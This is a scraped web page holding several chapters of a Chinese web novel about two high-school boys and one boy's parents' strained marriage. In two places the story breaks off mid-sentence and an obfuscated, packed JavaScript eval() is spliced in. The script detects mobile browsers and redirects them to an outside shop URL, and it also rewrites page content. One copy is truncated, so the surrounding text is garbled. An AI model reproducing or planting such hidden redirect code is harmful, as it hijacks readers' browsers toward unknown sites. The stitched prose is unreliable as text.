可身后始终空荡荡的——那个该跟着他的人不见了。 他捂着莫名抽痛的胸口推进家门,冰箱里的绿豆汤还在冒着凉气,还没去上一口,房门就被砸得震天响。 “小宝,小宝啊。” “怎么了刘奶奶?”陈温开了门,一脸茫然。 刘奶奶是他隔壁邻居,对他们一家很上心,常常做糕点过来。 陈温以为她又是来送糕点的,可老人的手指像枯枝般钳住他的手腕,掌心的冷汗黏糊糊地渗进他皮肤:“快、快去人民医院……你妈妈她……” 老人喉咙里挤出的哽咽,比任何言语都锋利。 医院的走廊长得没有尽头。浓烈的消毒水味里,大人们压低的交谈声像嗡嗡的蚊蝇: “过绿灯时被撞的……” “肇事逃逸……” “大出血……” 陈温死死攥着刘奶奶的裤腿,指节发白,他仰头望着大人们凝重的面孔,却怎么也找不到妈妈总是对他微笑的那张脸。 医生从手术室出来的那刻,整个世界突然安静得可怕。 父亲崩溃的哭喊声,大人们的安慰声,都变成了模糊的背景音。 一切变得恐怖,他怎么有点听不懂大人们在说什么呢,不是要回家喝绿豆沙吗? 陈温转身就跑了,直到拐角处才蹲下来,他把脸埋进膝盖里,哭声很轻,像窗外刚开始落的雨。 直到—— “陈温?” 现实中的声音穿透梦境,男生猛地睁开眼,窗外一道闪电划过,照亮他的脸。 28. “父母爱情” “陈温?”门又被轻轻敲了两下。 陈温赤着脚踩在地板上,边揉眼睛边开门。 门外站着的是睡客厅的沈泽许,男生怀里还抱着陈温给他的枕头。 “怎么了?”陈温的嗓子有点哑。 “轰隆——” 又一道惊雷炸响,窗玻璃都在震颤。 沈泽许面无表情地说:“我怕打雷。” “啊?”陈温有点懵。 闪电的冷光里,男生的轮廓在冷光中像被冰雕出来的,连睫毛都没颤一下。 陈温甚至怀疑,就算天塌下来,这人大概也只会微微皱眉,然后冷静地计算坠落速度和生存概率。 “我怕打雷。”沈泽许又重复了一遍,声音平稳得像在念数学公式。 “那我给你找个耳塞。”陈温转身便要进去找耳塞,却被沈泽许拉住手腕。 “我能进来睡吗?”他问。 “不能。” “为什么?”沈泽许问道,表情丝毫未变。 陈温也说不上来为什么,但就是不能。 “那你为什么想进来睡?”他反问道。 沈泽许沉默片刻,道:“我害怕一个人……” 陈温盯着他那双丹凤眼,却分辨不出真假。 “等着。”男生回到床头,抱起沈泽许送他的生日礼物仓鼠玩偶,“让它陪你。” 沈泽许缓缓接过,却没有要走的意思。 “还有事?”陈温问,心跳不知为何有些快。 沈泽许的目光落在他微微发颤的手指上:“你在发抖。” “我……” 又一道闪电划过,陈温下意识缩了缩脖子,沈泽许趁机上前一步,仓鼠玩偶被挤在两人之间。 “你也怕打雷?” 陈温张了张嘴,还没来得及反驳,沈泽许便已经侧身挤进了房间,顺手带上了门。 “两个人,”他把玩偶放回床头,“就不怕了。” 陈温一时忘了反驳,也没有让他离开——沈泽许这样做一定有他的理由吧,他可能真的怕打雷。 那人已经把他的枕头放在了陈温的枕头旁边,纯白的枕头跟他淡绿色的枕头并排躺着,像一对亲密的朋友。 “我跟你挤一挤。”沈泽许说,嘴角似乎扬了扬。 “行吧。”陈温指了指床的右侧,“你睡这边。” 他严格规定了沈泽许的活动范围,床不大,勉强能容下两个少年。 “好。” 两人同时躺下,床垫微微下陷。 陈温做了个深呼吸才钻进被窝,心跳声在耳边砰砰直跳。 过了许久,他依然睁着眼睛。 窗外的雨声渐渐小了。 “沈泽许?”他轻声唤道,声音小得像是怕惊扰了这个雨夜。 “嗯?”沈泽许的声音同样轻缓。 无言在黑暗中蔓延,而沈泽许耐心地等待他开口。 “阿姨……她是生什么病了吗?”陈温终于问出这个压在心底的问题。 “你想知道?”沈泽许没等他回答,继续道:“这件事要从很久以前说起,你愿意听吗?” 反正也是睡不着,陈温翻了个身面对沈泽许:“你说就是了。” 黑暗中,男生能感觉到那人也转向了他,两人面对面,呼吸在狭小的空间里交织,带着淡淡的薄荷牙膏味。 沈泽许的声音在雨夜缓缓流淌,好像将陈温带回到那个遥远的年代。 “我妈是珠宝服装设计师,”他说:“你也看过她画的设计图,那时候她还不出名,只是个在小工作室打拼的普通设计师。” “我爸是盛远集团的CEO,沈明远。” 这是陈温第一次听他主动提起父亲。 “嗯,然后呢?” “本来这两个人怎么都不可能遇见,直到那场商业酒会——我妈在找投资人赞助她的第一个秀,我爸作为嘉宾出席。” “他们一眼就看对了眼。我妈说,是我爸先走过来夸她的耳环好看,那耳环是她自己设计的。”最后两句带着自豪的味道。 “后来……”男生的声音变得干涩起来,“两人发生了关系,人为的。可能是嫉妒我妈获得开秀的机会,也可能是看不惯他们走得近的人干的。” “我妈有了我,我爸说要娶我妈,她也愉快答应了,两人很快便结婚了。” 陈温感觉到沈泽许在黑暗中微微颤抖,他悄悄往那边挪了挪,两人的手臂轻轻相碰。 “我妈有了我还是坚持工作,我爸为了补偿她,特意办了一场珠宝秀捧她。那次之后,我妈在业内有了名气。” 沈泽许的声音越来越低:“但不知道谁跟我爸说了什么,他突然不想让妈妈继续工作。又担心孕期情绪,没有完全禁止她出门。” “生下我后,他变本加厉……一心想让我妈专心在家照顾我。” “我妈不喜欢这样,她热爱这份工作……”男生的呼吸变得沉重,“她开始不好好吃饭,整夜不睡画设计图,好几次把自己折腾进了医院。” “最可笑的是,即使是这样,我爸也没有停止他的控制。他们谁都不肯相互理解,就这么针锋相对……” 沈泽许停住声音了,雨也停了。 房间里静得能听见彼此的呼吸声,陈温在黑暗中眨了眨眼,明白了许多事。 为什么沈泽许总是一副生人勿近的样子,为什么他书包里永远备着三支钢笔,为什么对自己的事总是避而不谈。 原来那些冷漠疏离,不过是一道道精心构筑的防线。 “阿姨他们会和好的。”陈温说。 沈泽许愣了一下,说:“嗯。” “好像古早小说里的爱情故事。”陈温轻声说,试图用玩笑冲淡沉重的气氛。 “我也觉得,挺狗血的剧情。”沈泽许出乎意料地接上了这个玩笑。 “哈哈,你竟然知道‘狗血’这个词。” 陈温惊讶地转头,在昏暗的环境中依稀能看到沈泽许的轮廓。 那人一脸无语,道:“我是爱学习,但我也上网的好吗?” “是我刻板印象了。”陈温笑着认错,随即正色道:“这个事我不会跟别人说的。” 沈泽许垂下眼眸,长长的睫毛在脸上投下阴影,他淡淡回了句:“嗯。” 陈温说:“要不……我们一起想办法让他们和好怎么样?” 空气似乎骤然凝固,沈泽许将头垂下,遮住了所有情绪。 见身旁的人不说话,陈温后知后觉自己刚刚又开始多管闲事了,他正想打个哈哈糊弄过去,却听见身旁传来一声几不可闻的: “嗯。” 陈温松了口气,把后续十句策划咽回了肚子里。 “12点多了,早点睡吧。” “晚安。” “好梦。” 两人同时转身,背对背陷入各自的被窝。 屋外的小雨轻轻敲打窗沿,发出“叮、咚、叮、咚”像首不成调的摇篮曲,在黑暗中将两颗躁动的心,一寸寸抚平。 医院的走廊浸泡在刺鼻的消毒水气味里,惨白的灯光将人影拉长得像扭曲的鬼魅。 病房内,厚重的窗帘将外界的光线吞噬殆尽,仿佛一个被世界遗忘的角落。 女人蜷缩在病床上,双臂紧紧环抱着自己,像是要把这副躯壳揉碎重组。 “吱呀——”一声。门被无情地推开,走廊的强光如利刃般劈开黑暗。 沈明远的皮鞋踏在瓷砖上,每一步都像踩在谁的心尖上。 他按下台灯开关的瞬间,暖黄的光晕里浮起细小尘埃,照亮了白千月那张与沈泽许如出一辙的侧脸,浓密的睫毛在眼下投下鸦羽般的阴影。 男人盯着那看了片刻道:“我知道你没睡。” 他伸手撩起女人散落在额前的发丝,白千月缓缓睁开眼,黝黑的瞳孔映出男人模糊的轮廓,像是隔着一层毛玻璃。 “怎么今天没有吃饭?”沈明远问。 “看到你就反胃。”女人没好气地别过脸。 沈明远将手掌弯成勺状递到她唇边,便被白千月“啪”地打落。手背迅速浮起一片红痕,他却连眉头都没皱一下。 “要发疯也先把饭吃了。”男人按下另一个开关,顶灯骤然大亮,“只要你好好吃饭,我什么都答应你。” 白千月苦笑了一下:“那把新来的保姆换了吧。” “理由?” “不是说除了放我走,什么都答应吗?”她染成浅粉色的指甲掐进掌心,妥协地回道:“那小姑娘……一见我就发抖,说话声比蚊子还轻。”尾音顿了顿,又匆忙补上一句:“不是嫌她不好,就是……” 沈明远的目光扫过她缠着绷带的手腕,那里似乎还渗着淡淡的血渍。 “是谁把病历撕成雪花,从七楼窗口撒下去的?” “换我我也抖。” 白千月没回话,她望着窗外渐暗的天色,忽然失了兴致:“算了。”她的声音轻得像一声叹息,“反正换多少个都一样。” 顿了顿,沈明远开口:“小沈最近带来的那个人是谁?” “你问他啊,”白千月讥讽地勾起嘴角,“反正我说什么,在你眼里都是谎话连篇。” “他说是朋友。” “怎么?”女人转头看向他,“你觉得你儿子那脾气不该有朋友?我觉得那孩子挺好的。” 沈明远冷不丁攥住她缠着绷带的手腕,力道大得让纱布松了不少。白千月疼得倒吸冷气,却倔强地咬住下唇,直到尝到铁锈味。 “影后还缺你一座小金人。”沈明远骤然松手,俯下身来说:“医生跟我说你拒绝所有检查。” “是因为这些伤口,根本不是真的,对吗?” 闻言,白千月的瞳孔剧烈收缩了一瞬,嘴巴一张一合却没发出声音。 “开玩笑的。”沈明远的手指沿着床头柜边缘游走,像在抚摸什么人的颈动脉,他逼得极近,温热的呼吸喷撒在她耳后:“但真假你自己心里清楚。” 白千月维持着面无表情,却听见自己的心跳在胸腔里撞出回音。 没有证据的事,她有什么好怕的? “别再挑食了,”沈明远直起身,领带夹在灯光下闪着冷光,“再有下次,我亲自喂你。” 白女士耳尖瞬间烧红,那抹绯色一路窜到睡衣领口里。 “怎么不说话了?” 她猛地扯高被子:“我困了,请你出去。” “我也累了。”沈明远俯下身,将额头抵在她腹部,声音隔着被子闷闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像现在,她明明气得发抖,可落在他发间的手指,连拽疼一根发丝都舍不得。 他的思绪也飘回多年前。 在那个觥筹交错的酒会上,白千月一袭红裙,正专注地向投资人展示她的设计稿。 女人谈论珠宝时眼里有光,那种纯粹的热爱与自信,让他这个见惯风月的商人也为之动容。 那个连抽血都要死死攥着他手的胆小鬼,怎么可能真对自己下得去狠手? 绷带下那些“伤口”,不过是她绝望时拙劣的表演。而他配合着佯装不知,像纵容孩子恶作剧的家长。 “沈总,夫人又上财经版了。” 秘书欲言又止地递过杂志,封面上白千月一袭红裙,托着一枚蓝宝石胸针,在珠宝展台前熠熠生辉。 会议室玻璃门外,闲言碎语犹如毒蛇般钻入他的耳朵—— “听说这次巴黎展的订单都是夫人亲自谈的?” “沈氏是不是遇到资金问题了?” 那些意味深长的目光像刀子般扎来,沈明远攥紧了被单。 他当然知道白千月的才华,那些惊艳业界的作品就是最好的证明。 他当然记得那个凌晨两点。 设计室里,白千月趴在桌上睡着了,脸颊贴着设计稿,右手还握着笔。 止痛药撒了一地。他打横抱起她时,硌到的肋骨像刀—— 而白千月醒来后的第一反应却是去抓那张设计稿。 “最后三天,巴黎那边在等终稿……” 沈明远收紧了手臂,名为“理智的弦”终于断了。 “我是为你好。”成了他们之间最深的鸿沟。 沈明远自嘲地勾起嘴角。他以为把金丝雀关进笼子就能保护她,却忘了她本是只鹰。 白千月用绝食、用“自残”、用沉默反抗,而他以更严密的看守回应。 这场荒唐的拉锯战,没有赢家。 “明远……”白千月的声音将他拉回现实。他假装熟睡,却感觉到一滴温热落在他的手背。 男人又想起白千月确诊怀孕那天,女人捏着检查单,笑得像个孩子:“这孩子将来会跟你一样固执吗?” 那时的她多耀眼啊——挺着肚子在T台谢幕,谢绝所有采访却偷偷给粉丝签名,半夜把他摇醒说想到了新灵感…… 他比谁都清楚她的才华,也比谁都害怕失去她。 所以当父母指着鼻子骂他“没出息”时,当商业伙伴明嘲暗讽时,他统统忍了下来。唯独不能忍的,是她不要命地透支自己。 白千月的呢喃飘进耳朵。沈明远悄悄收紧环在她腰间的手,把脸更深地埋进她衣料里。 他们就这样互相折磨又互相依存,像两株盘根错节的树,伤得越深,缠得越紧。 他们都太固执了。 如果时光能倒流,回到他们初遇的那天——他会走上前,不是夸她的耳环好看,而是说: “你的设计很美,但请记得按时吃饭。” 或许有些笼子,早该打开了。 29. 苏颜晓梦 第二天早上,一只小鸟飞到窗边,啄了啄玻璃,像演奏欢快的乐曲。 风扇在床头苟延残喘地转着,扇叶每转一圈都发出年迈的呻吟。 陈温不是被吵醒的,而是被热醒的。 他盯着天花板上的一道裂纹,意识逐渐清醒——有什么东西压住了他的头发,微微的拉扯感让陈温动弹不得。 男生小心翼翼地偏过头,沈泽许的睡颜近在咫尺。那人呼吸均匀,鼻息轻轻拂过他的耳廓,带着些许热意。 更糟的是,沈泽许的一只手臂正松松地环在他腰间,像是无意识的占有。 “还早,再睡一会儿。”沈泽许的声音带着刚醒的沙哑,手臂却收得更紧了些。 陈温能清晰地感受到对方胸膛传来的心跳,一下一下,像小锤子敲打着他的后背。 窗外的鸟鸣声更欢快了,仿佛在给两人关系变得更亲密而欢呼。 “你压着我头发了。”陈温小声抗议。 沈泽许懒洋洋地睁开一只眼,往后挪了挪脑袋:“哦,没注意。” “还有这个——”陈温戳了戳环在自己腰上的手臂,“松开。” 沈泽许反而闭了眼,鼻尖蹭过陈温后颈的发梢:“你怎么留这么长的头发?” “跟你有什么关系!”陈温紧张地缩起脖子。 他的头发确实有些长了,发尾快扫到脖子。 沈泽许道:“我不能问吗?” 记忆翻涌而上——那年他还在广州上小学,学校要求男生头发不能过耳。 陈林峰不知从哪里买来理发推子,信誓旦旦说要亲自给他剪,结果技术太差,差点把他剃成“光头”。 陈温永远记得那天——教室里此起彼伏的笑声像根针一样扎在心尖上。 他死死攥着帽子,指甲插进掌心,却还是被老师要求摘下来。 其中一个男生笑得最大声,他说:“陈温是个和尚!” 从那以后,陈温再也不敢剪短头发,都是自己拿剪刀修两下。 “陈温?”沈泽许的声音将他拽回现实。 “没什么,”男生勉强扯出个笑,“就是……懒得剪。” 沈泽许撑起身子,阴影笼罩下来。 陈温慌张地闭上眼,却感觉到一只温热的手轻轻抚上他的发顶。 “我觉得这样挺好看的。” 九个字轻得像羽毛,却让陈温鼻尖一酸。 “哦……”男生把脸埋进枕头,声音闷得几乎听不见。 沈泽许还保持着这个姿势不动,陈温像是想起什么,猛地伸手覆上他的额头。 掌心下的温度已经降了下来,他这才惊觉——这个若无其事搂着自己的家伙,还是个病人呢。 “还有哪里不舒服?”他缩回了手。 “没有了。”沈泽许刚说完,就偏头咳了两声,喉结随着咳嗽轻轻滚动。 陈温眯起眼睛:“你这叫没有?” “意外。”沈泽许面不改色,反而凑得更近,鼻尖几乎要碰到陈温的脸,“怎么,你怕被传染?” “……”陈温红了耳,一把推开某人,猛地掀开被子,赤脚踩地板上。 “我、我刷牙去了。” 他才不怕被传染呢,毕竟自己可是三年都没感冒过的体质,怎么可能被这种小病击倒? 陈温刷完牙,嘴角还沾着一点牙膏沫。他前脚出来,沈泽许后脚就进浴室了。 那人正站在洗手台前,慢条斯理地拆开新买的牙刷包装——浅蓝色的刷柄,和他自己用的那支绿色的是同个款式。 陈温从晾衣杆上取回沈泽许的衣服,暖烘烘的衣物散发着淡淡的洗衣液香气。 衣服被他叠好,随手放在沙发扶手上,便出了门。 肠粉摊前,老板娘熟练地舀起米浆,在蒸屉上铺开薄薄一层。 “要一份?多加葱是吧?”她笑着问,显然记得这个常客的口味。 “姐姐,今天要两份!”陈温说。 “哈哈哈,我都一把年纪了,哪里年轻了?” 陈温开始嘴甜起来:“哪里都好看!” “嘴那么甜啊,姐姐给你多加一个蛋。” 陈温拎着早餐回来时,沈泽许已经换好自己的衣服,正窝在沙发里看手机,嘴角上扬。 “看什么呢?这么入迷?”陈温把肠粉放在餐桌上,随口问道。 沈泽许迅速锁屏:“看群聊。” “什么群?”陈温拉开木椅子坐下,顺手拆开一次性筷子。 “上次密室逃脱建的群。”沈泽许接过他递来的肠粉,“老板发了监控视频。” 男生走过来时,空气里还飘散着洗衣液的淡香。 陈温掏出手机,点开那个被设为免打扰的群聊,老板发来的几个视频正静静躺在聊天记录里,最新一条消息是: 「老板:精彩回放![坏笑]」 视频加载完成的瞬间,昏暗的密室画面动了起来。 “砰!” 视频里的陈温慌不择路地撞进沈泽许怀里,镜头恰好定格在这一秒:他惊恐瞪大的眼睛,沈泽许下意识护住他的后脑勺…… “……”陈温默默关掉手机,心想:这是什么鬼? 沈泽许已经淡定地拆开肠粉包装,热气腾腾的米香飘散开来。 陈温夹起肠粉的筷子顿住,一个荒谬的念头闪过——那条密室逃脱的“黑历史”视频,明明是玩完当晚就发在群里的。 他那会儿忙着收拾东西,没注意到群消息。 可沈泽许刚才…… 吃完早餐后,沈泽许不由分说地要给陈温早餐钱,被他一把按了回去。 临走前,陈温还给了沈泽许塞了些感冒药——草莓味的,包装上还画着幼稚的卡通熊。 四天假期转瞬即逝。 返校第一天就赶上月考,更糟的是惠中雷打不动的周一校会——全校学生得扛着坐垫去操场晒太阳。 陈温一进教室,热浪便扑面而来。 学校掐了空调供电,只剩老旧的风扇在头顶吱呀作响。有些班级自费多装台空调,他们教室里有两台,估计是上一届留下的。 可惜现在用不着了。 “我是不是穿越了?”叶萧云趴在桌上狂补作业,“明明昨天才放的假啊!” 由于楚婷每两周调座位的规矩,这次叶萧云被调到了陈温左边,而整个组都向左平移了一列。 林宇舟还是坐在陈温前面,正敲着叶萧云的作业本:“快点补,校会结束就要考试了!” “闭嘴!我知道。”叶萧云头也不抬,笔尖都快擦出火星。 陈温刚坐下,便发现旁边位置空荡荡的,他戳了戳林宇舟的后背,问:“沈泽许呢?” “不知道啊,”林宇舟耸肩,“刚才还在这写什么东西,突然就走了。” 陈温“哦”了一声,不满地撇撇嘴,目光扫过沈泽许整齐的课桌——钢笔摆在右上角,笔记本边缘与桌沿平行,连草稿纸都叠成标准的A4大小。 “现在是早校会期间,请大家拿好坐垫到外操场集合,开完会直接考试,请带好考试用品。”体育老师业哥的广播声在走廊回荡。 陈温从书柜里抽出两个坐垫,腋下夹着复习资料,跟着队伍穿过崇学楼长长的走廊。 操场上人头攒动,各班正在整队。他的目光扫过人群,却始终没找到那个熟悉的身影。 他在男生队伍的末尾放下坐垫,塑胶跑道被晒得发烫,隔着坐垫都能感受到热度。 “各位同学、老师,大家早上好!”主持人的声音通过音响传遍操场,“今天是个阳光明媚,鸟语花香的日子。现在进行第一项仪式,请全体肃立,奏国歌,升国旗。” 陈温随着人群起身,目光追随着冉冉升起的国旗。国歌结束后,大家纷纷坐下。 主持人继续道:“接下来是第二项仪式,请学生代表发言。” 台下响起稀稀拉拉的掌声。 “沈泽许同学是2班的数学课代表,兼校学生会会长,曾多次在学业质量监测中取得优异成绩,曾拿过……”主持人的介绍词让陈温猛地从复习资料中抬起头。 “今天他带来的主题是《高效学习的方法与习惯问题》,掌声欢迎。” 台下的掌声明显比刚才激烈了不少。 那个熟悉的身影走上主席台,接过话筒时袖口微微下滑,露出手腕上那颗小小的痣。 “同学们、老师们,大家早上好。”沈泽许的声音通过音响传来,比平时多了几分沉稳,“我今天演讲的主题是……” 阳光洒在他挺直的脊背上,校服被照得近乎透明。陈温望着台上侃侃而谈的身影,想起他感冒时用浓重的鼻音对他说“你也好看”。 “我去,今天是老沈演讲啊?”前排的叶萧云小声惊呼,“怎么都不跟我们说一声?” “跟我们说干嘛?”举着班旗的林宇舟头也不回。 “陈温呢?怎么没看见他。”叶萧云问。 “不知道,可能在后面吧。” 而此时站在队伍最后的陈温,正目不转睛地望着台上的沈泽许,两人之前的相处画面,毫无征兆地不停涌现。 那个在他面前会鼓励他、会关心他、会说自己害怕打雷的沈泽许,此刻正自信从容地站在全校师生面前,侃侃而谈学习方法的模样耀眼得让人移不开视线,冷静自若得像一座永不融化的冰山。 陈温低下头,发现自己不知何时在复习资料的空白处,画满了乱七八糟的线条,就像他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171962|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻理不清的思绪,缠绕成一团。 台上的演讲进入尾声,沈泽许的目光不经意间扫过全场,在掠过陈温所在的位置时微微停顿。虽然隔得很远,但陈温确信——他对自己笑了一下。 这个认知让陈温的心跳突然加速,比即将到来的月考更让人紧张。 “感谢沈泽许同学带来的精彩发言。”主持人话音未落,操场上的掌声还未完全停歇,“接下来是我们的颁奖仪式。上几周我校代表参加了市级数学竞赛,有请德育处主任和校长为他们颁奖。” 陈温远远就看到了那个国字脸的AK主任,他标志性的沙哑嗓音在广播里响起:“恭喜我们获奖的同学。” 叶萧云被楚婷叫了起来,他转身拽着后排的陈温往前排走:“到我们了!” 两人穿过队伍时,正好遇到拿着演讲稿回来的沈泽许。 “老沈,这边这边!”叶萧云兴奋地挥手。 沈泽许从演讲稿上抬起头,走进队伍,目光落在某人身上片刻:“你生气了?” 某人别过脸:“我生什么气?” “气我没提前告诉你一声,今天我要演讲。”沈泽许的声音很轻,“让同桌的你一个人孤零零的。” “谁要你陪了?”陈温舔了舔干裂的嘴唇。 “我。”沈泽许笑得眼角弯弯。 主持人念到2班,三人一起走上台。 不知为何,台下莫名爆发出一阵羡慕的议论声。 “怎么了这是?”叶萧云刚才在跟隔壁一班的人吹牛,现在一头雾水。 “不知道啊。”陈温同样困惑。 因为参加的人数少,他们跟一班获奖的同学站在一块。 陈温注意到有个人,正眼睛亮晶晶地盯着沈泽许——是送沈泽许拿铁的那个女生,而当事人却神情冷淡地目视前方。 AK主任拿着奖品走过来,陈温打了个哈欠。 学校不就是送那些老一套的本子或钢笔嘛,等等,那是什么? “游戏机?!”叶萧云瞪大眼睛,声音都变了调,“学校什么时候变这么大方了!?” 德育处主任来到陈温面前,将证书和崭新的游戏机递给他。握手示意时,男人力道大得让陈温皱了皱眉。 “陈温是吧?”主任的嗓音依然沙哑,“我很看好你哦,加油哈。” 陈温点了点头。 轮到沈泽许时,主任只是简短地说:“继续保持。” 台下此起彼伏的惊呼声中,几人捧着“意外”的奖品拍了合照。下台时,叶萧云还在反复确认游戏机:“这不会是做梦吧?” 陈温伸手在他胳膊上用力一掐。 “嘶——你干嘛!”叶萧云龇牙咧嘴。 “疼吗?”陈温问。 “疼。” “那应该不是梦。” “。”叶萧云揉着被掐红的胳膊,小声嘀咕:“下手这么狠……” 颁奖结束后,人群如潮水般散去,各自涌向不同的考场。 “我记得我们好像不是一个考场的吧?”陈温停下脚步,转身对着跟他一路的沈泽许说。 那人没接话,静静地看着对方:“你真没生气?” “没有!”陈温推他的肩膀,力道很轻,“赶紧回去吧,不然就要迟到了。” 沈泽许这才点点头,离开时那眼神,活像只被主人赶出门的大型犬,依依不舍中还带着点委屈。 陈温走进考场,监考老师还没到。他的目光不经意间扫到前排的一个熟悉身影——正是刚才台上那个眼睛亮晶晶盯着沈泽许的女生。 少年今天扎着高马尾,发尾随着书写的动作轻轻晃动。 那不就是之前送沈泽许拿铁、巧克力的那位吗? 她是不是喜欢沈泽许啊? 想到这里,陈温的手指无意识地摩挲着资料,心里突然泛起一丝酸涩。 “想什么呢……”他小声嘀咕。 陈温深吸一口气,把注意力集中到即将开始的考试上。只是笔尖在草稿纸上无意识画着,脑子里全是某人站在领奖台上闪闪发光的模样。 考完试,监考老师收完最后一张试卷,教室里顿时像是气球泄气一般,松懈下来。 陈温正收拾着笔袋,一片阴影落在桌面上。 “你好,”那个扎着高马尾的女生站在他桌前,伸出一只纤细的手「“我叫苏颜晓梦,认识一下吗?” 女生的指甲修剪得圆润干净,涂着淡淡的裸色指甲油。 陈温抬头,对上一双含着笑意的眼睛——像小鹿般清澈透亮。 “很好听的名字。”他简短地握了握对方的手,“我叫陈温。” “我知道,”苏颜晓梦歪起头,说:“你和沈泽许是同桌对吧?” 30. 别告诉她 “你和沈泽许是同桌对吧?” 笔袋不知为何从手中滑落,几支笔骨碌碌滚到地上。陈温弯腰去捡时,听见自己心跳的声音大得吓人。 “哎呀,别紧张呀。”少女的笑声像风铃,“我就是想问问你,沈泽许喜欢什么?” 她拉开前面的椅子坐下来,托着腮,指甲上的向日葵,随着说话的动作一晃一晃。 这个问题像道超纲的考题,跟沈泽许同桌一两个月,他竟说不出这人确切喜欢什么。 “我、我不太清楚。”陈温听见自己干巴巴的回答,余光瞥了瞥窗外,嘴巴张合。 苏颜晓梦凑近了些,洗发水的栀子花香扑面而来,“看你欲言又止的表情,你有话要问我?” 陈温说:“你喜欢沈泽许?” “不然呢?”女生眨眨眼,“不明显吗?我又是送拿铁,又是送巧克力的,难不成是不小心买多了一份?”她欣赏着自己的美甲说道。 这个美甲让陈温想起开学没多久那会,沈泽许拒绝她的巧克力的包装纸上,也是这样的向日葵图案。 陈温见苏颜晓梦没有抗拒自己的提问,又问:“为什么喜欢他?” 少女却笑了起来,眼睛弯成月牙:“喜欢就是喜欢啊,没有为什么。” 苏颜晓梦的声音像一颗石子,在陈温心里激起一圈圈涟漪。他下意识按住胸口,那里泛起一种奇怪的钝痛,像是有人用棉花堵住了心脏跳动的缝隙。 “看你们相处挺好的,我才来问你的。”苏颜晓梦苦恼地卷着发尾,“你们班体育委员说他喜欢苦的,可我送了几次咖啡他都拒绝了。” “那……他知道你在追他吗?”陈温忍不住又问,他看到苏颜晓梦的耳尖“唰”地红了。 “这个这个我怎么知道啊?还有你是十万个为什么吗?” “我就是问问。”陈温说。 “能加个联系方式吗?”苏颜晓梦眯起桃花眼,提议道。 陈温语气平淡:“我不记我的微信号,你写给我吧。” 他撒谎了。 不是记不住,而是不愿记——他的通讯录像一本冰冷的档案,所有人都被工整地标注着全名和身份。没有昵称,没有特别备注,连表情符号都显得多余。 除了沈泽许。 女生点点头,撕纸的动静惊醒了三束从窗户溜进来的阳光,纸屑像雪花般飘落在她的深绿色的校裤上。 她写下微信号,陈温发现她的字迹意外地工整,每个转折都带着小小的钩。 “给。” 虽然说没套到关于沈泽许的情报,但是她觉得这人挺不错的,能交个朋友。 陈温接过纸条,苏颜晓梦便回了原位。 纸条上面除了微信号,还画着个笑脸。 考试的预备铃像一盆冷水浇下来,陈温这才回过神,手中的复习资料还停留在十分钟前的那页。 走廊上此起彼伏的拉链声中,他把资料塞进书包最里层——那里还躺着苏颜晓梦写的纸条,边角已经在他手心攥出了褶皱。 考场上坐满了人。 陈温深吸一口气,努力集中精神,可笔尖悬在试卷上,思绪却总是不自觉飘远。 写写停停,回过神时,时间已经溜走大半。最后一题几乎是卡着点写完,男生的手心全是汗。 陈温回到教室,发现沈泽许正低头整理演讲稿,指尖压平纸页的折角,动作一丝不苟。 两人的视线在空中相碰,某人就别开脸。 他还在生气? 沈泽许早晨被临时通知演讲,匆忙写完稿子就离开了,甚至没来得及说一声。 陈温此刻故意不看他,后脑勺翘起的一撮头发却暴露了某种别扭的情绪。 食堂的嘈杂声里,四人桌的气氛却凝固成冰点。沈泽许刚放下餐盘,陈温就径直绕到对角线的位置坐下。 不锈钢筷子碰到碗沿,发出突兀的一声。 林宇舟的视线在两人之间来回扫射,用脚踢了踢叶萧云的小腿,眉毛挑得快要飞进发际线,无声说着:“这俩怎么了?” 叶萧云用口型回了个“我也不知道”。 林宇舟憋不住好奇八卦的心,说:“你俩这是干嘛呢?吵架?闹矛盾?” “没有啊。”异口同声的回答让空气更尴尬。 沈泽许盯着陈温餐盘里被戳得乱七八糟的番茄炒蛋,他最爱吃这个的…… “不还说原谅我了吗……”沈泽许声音很轻,另外两个没有听到,但陈温捏着筷子的手指明显收紧了。 放学铃一响,两人一前一后找班主任请假。 夕阳像被打翻的橘子酱,稠稠地糊在天边。巷口的摊贩吆喝着,油烟混着饭菜香飘过来,电线杆上停着几只麻雀,歪头瞧着这两个别别扭扭的少年。 陈温走得很快,书包带子滑到肘弯也顾不上扶,沈泽许一个箭步拽住了他的手腕。 他说:“怎么了?还在生我气?” 陈温张了张嘴。 他该说什么?说自己在介意那个送他巧克力的女生?说因为不够了解同桌的喜好而羞愧?还是承认今早的冷战根本是莫名其妙的赌气? 沈泽许的手已经捏上他的脸,他道:“苦瓜成精了?” 指尖陷进柔软的颊肉,像在揉一团糯米糍。 陈温被捏得“噗嗤”笑出声,夕阳趁机跳进他弯起的眼睛里,但他下一刻又冷起脸。 他道:“放开我。” “那你得告诉我,小陈同学今天是怎么了。”沈泽许说。 “你记得1班那个女生吗?送你巧克力的那位。” “嗯。” “她喜欢你。” “我知道。”沈泽许松开手,脸上温热的消失得无影无踪。 “你就这么无所谓?”陈温边问,边用脚尖碾着巷子里的碎石子,石子摩擦地面的声响像是某种无声的抗议。 “我不喜欢她。”沈泽许的声音淡淡的,像在讨论今天的天气,“她喜欢谁,跟我没关系。” 巷口的夕阳烧得正烈,把两人的影子拉得很长,像两条永远平行却在此刻短暂交错的铁轨。陈温盯着地上那抹交叠的暗影,鬼使神差地追问:“你们之前认识?” 今天的陈温简直像个纠缠不休的八卦记者。 可沈泽许还是回答了他:“嗯。有次月考放榜,她在光荣榜前拦住我,她说会让我记住她的名字,说完就跑走了。”他顿了顿,“后来她考了第二,我第一。” 